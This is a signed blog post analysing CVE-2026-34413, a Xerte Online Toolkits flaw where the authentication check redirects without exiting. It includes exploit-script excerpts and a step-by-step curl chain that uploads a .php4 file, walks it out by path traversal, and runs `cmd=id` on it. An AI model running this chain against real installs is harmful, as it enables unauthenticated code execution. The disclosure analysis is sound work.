-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The auth check ran. The request ran anyway.\n\n`/editor/elfinder/php/connector.php` is the entry point in Xerte Online Toolkits for elFinder, a PHP file browser embedded in the project editor. The handler is a top-level script. The first thing it does after loading config is check whether the caller has a session:\n\n```php\nrequire_once(dirname(__FILE__).DIRECTORY_SEPARATOR.\"../../../config.php\");\n\nif (!isset($_SESSION['toolkits_logon_id'])){\n header(\"location: ../../../index.php\");\n}\n\nif (empty($_REQUEST['uploadDir']) || empty($_REQUEST['uploadURL']))\n{\n die(\"Invalid upload location\");\n}\n```\n\nThere is the auth check. There is the redirect. There is no `exit`. The block ends at the closing brace, and PHP execution falls through to the next `if`. The next `if` checks that the request supplied an upload destination. If it did, the file moves on to the elFinder dispatcher, which handles `mkdir`, `upload`, `rename`, `duplicate`, `rm`, `paste`, and the rest of the file-browser command set against a path the request supplied as `uploadDir`.\n\nPHP's `header()` is a header-emission function. It writes a header to the response. It does not terminate the script. The PHP manual is explicit, with a runtime example whose first line of body reads `Make sure to call exit() right after`. The redirect and the script termination are two separate operations. The author of the auth check wrote one of them.\n\nThe patch:\n\n```diff\n if (!isset($_SESSION['toolkits_logon_id'])){\n header(\"location: ../../../index.php\");\n+ exit(0);\n }\n```\n\nOne line. Commit `02661be8`, March 24 2026, by the same author who wrote the original. The commit closes CVE-2026-34413, CVE-2026-34414 (path traversal in `rename`), and CVE-2026-34415 (extension regex flaw). Three CVEs in fifteen lines of diff. The largest single addition in the patch is a fourteen-line `preventPathTraversal` function added to gate the rename. The line that closes 34413 is one keystroke long.\n\n## The 302 is the receipt.\n\nThe bootstrapbool exploit script asserts `if res.status_code != 302: exit(1)` after every primitive in the chain. The `mkdir` step sends a request and exits if the response is not 302. The `upload` step does the same. The `rename` step does the same:\n\n```python\ndef create_dir(...):\n res = requests.get(url, params=params, allow_redirects=False)\n if res.status_code != 302:\n status.print(\"Failed to create directory\", \"FAIL\")\n exit(1)\n\ndef upload_file(...):\n res = requests.post(url, params=params, data=data, files=files, allow_redirects=False)\n if res.status_code != 302:\n status.print(\"Failed to upload file.\", \"FAIL\")\n exit(1)\n\ndef rename_file(...):\n res = requests.get(url, params=params, allow_redirects=False)\n if res.status_code != 302:\n status.print(\"Failed to rename file.\", \"FAIL\")\n exit(1)\n```\n\nThree primitives, three identical predicates. The 302 is the receipt for every one. There is no other reason to expect a 302 from a PHP elFinder handler. The handler's normal success response is a JSON document. The 302 only happens because the caller is unauthenticated. The exploit author wrote the script around the failure mode, because the failure mode is what the server emits when the request is the request the exploit is making.\n\nThe `allow_redirects=False` argument is the second tell. By default, the `requests` library follows redirects. Setting it to false tells the library to surface the 302 directly to the caller instead of fetching the location it points to. The exploit author needs the 302 visible. Following the redirect would land the script at `index.php`, which is the unauthenticated login page, which carries no information about whether the operation that preceded the redirect succeeded. The script's signal is the unfollowed redirect. The unfollowed redirect is the proof that PHP ran past the auth check before sending it.\n\nAfter the three redirects, the `id` command runs in the `.php4` file the chain placed on disk:\n\n```bash\n$ curl http://target/xt/s.php4?cmd=id\n
uid=1(daemon) gid=1(daemon) groups=1(daemon)\n```\n\nThe redirect is what the auth check does to communicate refusal. The redirect is also what the server does after writing the attacker's file. A reader who reaches for the word \"rejected\" when they see a 302 from an authentication endpoint is reading the redirect at face value. The script reads it correctly.\n\n## Two Snyk audits read this file. Neither caught the line.\n\n`git blame` for the auth-check block, run against the commit before the patch, returns:\n\n```\n0b884b1b3e (Tom Reijnders 2014-10-03 16:58:43 +0200) if (!isset($_SESSION['toolkits_logon_id'])){\n0b884b1b3e (Tom Reijnders 2014-10-03 16:58:43 +0200) header(\"location: ../../../index.php\");\n0b884b1b3e (Tom Reijnders 2014-10-03 16:58:43 +0200) }\n```\n\nCommit `0b884b1b3e`, dated October 3 2014, message `Replace kcfinder with elfinder image browser`. The auth check was written when the project migrated from one PHP file browser to another. The block remained byte-for-byte identical for eleven years and five months, through every release Xerte has shipped since.\n\nThe git log on the same file in the intervening years includes:\n\n```\n86e13cf2a1 2024-07-16 SECURITY: mitigate path traversal risks identified by Snyk\nca19c49992 2024-07-17 SECURITY: mitigate XSS issues identified by Snyk\n4f1b6d3012 2025-08-03 Add fixes for vulnerabilities disclosed to the project\n```\n\nTwo consecutive commits in July 2024 wrote the word `SECURITY:` into their first line. The first reads as a Snyk-driven pass on path traversal in this file. The second reads as a Snyk-driven pass the next day on XSS in the same file. The third, in August 2025, reads as a fix pass against vulnerabilities reported privately. None of the three added `exit(0)` to the auth check. The path traversal that needed mitigating, the audit caught. The XSS that needed mitigating, the audit caught. The line whose absence means everything below the auth check runs for callers the auth check refused, the audit did not catch.\n\nThe default authentication mode in Xerte's documentation is Guest. Guest mode makes the project directory predictable enough to enumerate, which the exploit's outer loop does:\n\n```python\nfor x in range(1, 99):\n project_dir = f\"/USER-FILES/{x}{user_dir}\"\n```\n\n`{user_dir}` is `--Nottingham/` for the Guest case. The university adopters listed at xerte.org.uk run those defaults. The eleven and a half years the line was missing are eleven and a half years of those installs.\n\n## This is unauth-write-to-execution-path.\n\nThe chain is the shape [Unauth Write To Execution Path](/patterns/unauth-write-to-execution-path) names. Three architectural decisions composed.\n\nFirst, an unauthenticated trigger. The `connector.php` handler is reachable on the public HTTP surface of a default Xerte install. The auth check that should have stopped unauthenticated callers identifies them, emits a 302, and then runs the request anyway. This is the [Fail Open Intercept](/patterns/fail-open-intercept) shape expressed in PHP rather than Java try/catch: the gate was designed to reject, the code as written did not, and the gap is one line of source.\n\nSecond, a write directory that overlaps the execute path. Xerte's `USER-FILES/` tree lives under the application's webroot at `/opt/lampp/htdocs/xt/USER-FILES/` in the documented setup. The handler accepts the `uploadDir` parameter from the request and writes there. The `rename` primitive accepts a relative path and walks it, which means a file written under `USER-FILES//` can be relocated above the `USER-FILES/` boundary into a directory the webserver runs as PHP.\n\nThird, a write contract that does not validate the file's identity. The extension blocklist in the same file is:\n\n```php\n'pattern' => '/(readme\\.txt)|\\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',\n```\n\nThe regex `php*` matches `ph` followed by zero or more literal `p` characters. It matches `ph`, `php`, `phpp`, `phppp`. It does not match `php4`. The same patch that adds `exit(0)` rewrites this regex to `php.*`, with the dot. The exploit chooses `.php4` because the extension is mapped to the PHP handler in Apache's default configuration alongside `.php`, `.php3`, and `.phtml`, and was outside the blocklist regex.\n\nThree composed decisions. The chain is mkdir then upload then rename:\n\n```bash\n# 1. mkdir, l1_Lw is the elFinder hash for the upload root\ncurl 'http://target/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1--Nottingham/&uploadURL=http://target/xt/USER-FILES/1--Nottingham/&cmd=mkdir&name=stage&target=l1_Lw'\n\n# 2. upload, the leading
in the payload evades elFinder's MIME content sniff\necho '
' > file.txt\ncurl -X POST 'http://target/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1--Nottingham/&uploadURL=http://target/xt/USER-FILES/1--Nottingham/' \\\n -F 'cmd=upload' -F 'target=l1_Lw' -F 'upload[]=@file.txt;type=text/plain'\n\n# 3. rename, the path walks file.txt out of USER-FILES into a PHP-served directory\ncurl 'http://target/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1--Nottingham/&uploadURL=http://target/xt/USER-FILES/1--Nottingham/&cmd=rename&name=stage%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'\n\n# 4. execute\ncurl 'http://target/xt/s.php4?cmd=id'\n```\n\nEach request returns 302. Each request succeeds. The bootstrapbool exploit runs this end-to-end across the first 99 project IDs, on the default Guest authentication path, and stops at the first that resolves. The Metasploit module shipping in the same repository wraps the chain with auto-detection of the webroot and a meterpreter payload.\n\nThe 34413 part of this story is the topmost decision. Removing it is one line. It was missing for eleven years and five months, while the chain's two later prerequisites accumulated their own CVEs to land in the same patch.\n\n## Disclosure ran in a day.\n\nbootstrapbool opened issue #1527 on March 23 2026, asking whether `reijnders at tor dot nl` was still the right contact for security disclosure. Tom Reijnders pushed the patch on March 24 2026, one day later. Vulncheck published the advisory on April 22 2026. The vendor was responsive at every step the disclosure timeline records. The vendor was also the author of the line, the author of the eleven-and-a-half-year gap before the line was missing, and the recipient of two Snyk audits and one disclosed-vulns sweep that had previously read the file without finishing it.\n\nThe patch is one keystroke. The vendor wrote it the day they were asked.\n\nPoC: [bootstrapbool/xerteonlinetoolkits-rce](https://github.com/bootstrapbool/xerteonlinetoolkits-rce)","closing_line":"The 302 is what the server sent to refuse the request. The 302 is what the server sent after performing it.","hook_md":"The exploit script for CVE-2026-34413 expects every successful request to come back as HTTP 302. Anything else, the script prints `Failed to upload file` and exits. The 302 is the redirect Xerte's `connector.php` sends when a caller did not authenticate. The script is making a request that did not authenticate. Three primitives in the chain, mkdir then upload then rename, every response a 302, every operation succeeded. The 302 is what the server sends to refuse the request. The 302 is what the server sends after performing it.","post_id":61,"slug":"xerte-cve-2026-34413-redirect-without-exit","title":"CVE-2026-34413: Xerte's Auth Check Issued the Redirect, Then Did the Upload","type":"initial","unreadable_sentence":"The 302 is what the server sends to refuse the request. The 302 is what the server sends after performing it."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCajLS6gAKCRDeZjl4jgkQ Jt0DAQDWrtgL2chmns3OIq/R5s5RTiVvAxO10EbU8S0FuDNVNgD/cuHyIuTt7kFn eIN1nZ0bMDfa7up8lBk+c/4OkKolcAo= =tiGk -----END PGP SIGNATURE-----